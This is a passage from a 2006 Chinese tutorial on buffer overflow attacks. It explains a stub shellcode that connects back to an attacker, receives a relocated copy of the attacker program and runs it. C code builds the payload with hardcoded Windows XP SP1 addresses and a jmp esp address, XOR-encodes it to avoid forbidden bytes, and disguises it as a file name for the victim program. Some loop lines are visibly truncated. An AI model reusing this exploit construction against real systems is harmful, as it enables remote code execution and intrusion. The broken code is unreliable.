破坏力依然不可小视 缓冲区溢出攻防
2006-11-07 20:09:59 来源:WEB开发网与attacker建立连接后,StubCode会立即将刚才分配的内存的起始地址发过去,attacker要根据这个地址对自身的一个拷贝进行重定位,然后将它发回StubCode。StubCode则把这个拷贝接收到刚才分配的内存中去。Attacker还有另外一个函数“AttackerEntry”,rvaAttackerEntry就是这个函数与attacker的装入地址的距离。通过这个距离,StubCode就可以在attacker的拷贝中找到AttackerEntry的入口,从而把控制权转交给它。至此,StubCode就完成了自己的使命。
代码中使用LoadLibrary和GetProcAddress方式你不陌生吧?如果真的看不明白,请读一下《进程隐藏》。VirtualAlloc也位于kernel32.dll,所以我就照方抓药了。 /
上面的代码里还有一个空函数“StubCodeEnd”,虽然表面上什么也没做,但它却有一个非常重要的任务:我要用它来计算StubCode这个函数占了多少内存,并据此计算出整个stub的大小。用下面的方法就行了:
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
我没有从官方资料上找到可以这么做的依据,但在我的环境中,它确实工作的很好!
有了stub,我们还需要一些代码对其进行填充并注入到victim中去。注入过程只是简单的网络通讯,就不讲了,单看数据填充。
BOOL PrepareStub(STUB* pStub)
{
//copy const data
memcpy(pStub, &g_stub, sizeof(STUB));
//prepare stub code param
pStub->dwJmpEsp= 0x77D437DB; //这几个地址适用于
pStub->sp.fnLoadLibrary= 0x77E5D961; //victim程序运行在
pStub->sp.fnGetProcAddr= 0x77E5B332; //winxp pro + sp1 系统上
pStub->sp.fnVirtualAlloc= 0x77E5AC72; //的情况
pStub->sp.dwImageSize= GetImageSize((LPCBYTE)g_hInst);
pStub->sp.rvaAttackerEntry = ((DWORD)AttackerEntry) - ((DWORD)g_hInst);
//copy stub code
int nStubCodeSize = (int)(((DWORD)StubCodeEnd) - ((DWORD)StubCode));
memcpy(pStub->arrStubCode, StubCode, nStubCodeSize);
//find xor mask
int nXorSize = (int)(sizeof(STUBPARAM) + nStubCodeSize);
LPBYTE pTmp = (LPBYTE)(&(pStub->sp));
BYTE byXorMask = GetXorMask(pTmp, nXorSize, (LPCBYTE)g_arrDisallow,
sizeof(g_arrDisallow)/sizeof(g_arrDisallow[0]));
if(byXorMask == g_arrDisallow[0])
return FALSE;
//xor it
for(int i=0; i *(pTmp+i) ^= byXorMask;
//fill stubstubcode
pStub->ssc.wXorSize= (WORD)nXorSize;
pStub->ssc.byXorMask= byXorMask;
//Does the stubstubcode contains a disallowed char?
pTmp = (LPBYTE)(&(pStub->ssc));
for(i=0; i for(int j=0; j if(*pTmp == g_arrDisallow[j])
return FALSE;
//make it an "valid" file name the victim wants
strcpy((char*)(&(pStub->arrStubCode[nStubCodeSize])), g_szStubTail);
return TRUE;
}
其中,pStub指向一块事先分配的内存区,其大小是计算好的,绝对不会超支(我们是干这行的,肯定得先把自身的问题解决好:));g_stub是一个STUB类型的全局变量,保存了stub中固定不变的数据;g_hInst是attacker的进程的句柄,以它为参数调用GetImageSize就能得到attacker的内存映像的大小;g_arrDisallow是一个字符数组,里面是所有不允许出现的字符。
更多精彩
赞助商链接